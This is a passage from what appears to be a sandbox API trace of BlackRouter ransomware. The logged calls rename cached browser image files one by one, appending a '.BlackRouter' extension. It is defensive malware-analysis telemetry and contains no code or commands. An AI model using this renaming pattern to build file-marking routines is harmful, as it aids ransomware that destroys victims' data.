ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9f0)) returned 1 [0067.647] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg.blackrouter")) returned 1 [0067.649] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x952 [0067.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xced690d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1 [0067.656] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg.blackrouter")) returned 1 [0067.657] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7a9 [0067.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b76710, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b76710, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xced8f230, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7b0)) returned 1 [0067.668] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg.blackrouter")) returned 1 [0067.669] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x86f [0067.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcedb5390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0067.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg.blackrouter")) returned 1 [0067.680] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x828 [0067.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcedb5390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0067.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg.blackrouter")) returned 1 [0067.693] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3860 [0067.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4587cb90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4587cb90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xceddb4f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3870)) returned 1 [0067.706] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg.blackrouter")) returned 1 [0067.707] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19a5 [0067.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457be4b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457be4b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee01650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x19b0)) returned 1 [0067.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg.blackrouter")) returned 1 [0067.714] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2619 [0067.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee277b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2620)) returned 1 [0067.727] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg.blackrouter")) returned 1 [0067.728] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1f84 [0067.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b76710, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b76710, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee4d910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1f90)) returned 1 [0067.741] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg.blackrouter")) returned 1 [0067.742] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c7e [0067.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbded7090, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbded7090, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcee4d910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c80)) returned 1 [0067.746] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg.blackrouter")) returned 1 [0067.747] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8f9 [0067.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee73a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0067.758] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg.blackrouter")) returned 1 [0067.759] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9b7 [0067.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4574c090, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4574c090, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee73a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0067.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg.blackrouter")) returned 1 [0067.766] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2cb0 [0067.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee99bd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2cc0)) returned 1 [0067.779] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg.blackrouter")) returned 1 [0067.780] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x228c [0067.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcee99bd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2290)) returned 1 [0067.786] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg.blackrouter")) returned 1 [0067.787] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x48ba [0067.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60d9a020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d9a020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xceebfd30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x48c0)) returned 1 [0067.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg.blackrouter")) returned 1 [0067.804] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x911 [0067.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55c14b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x55c14b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xceee5e90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0067.815] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg.blackrouter")) returned 1 [0067.819] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x254f1 [0067.838] 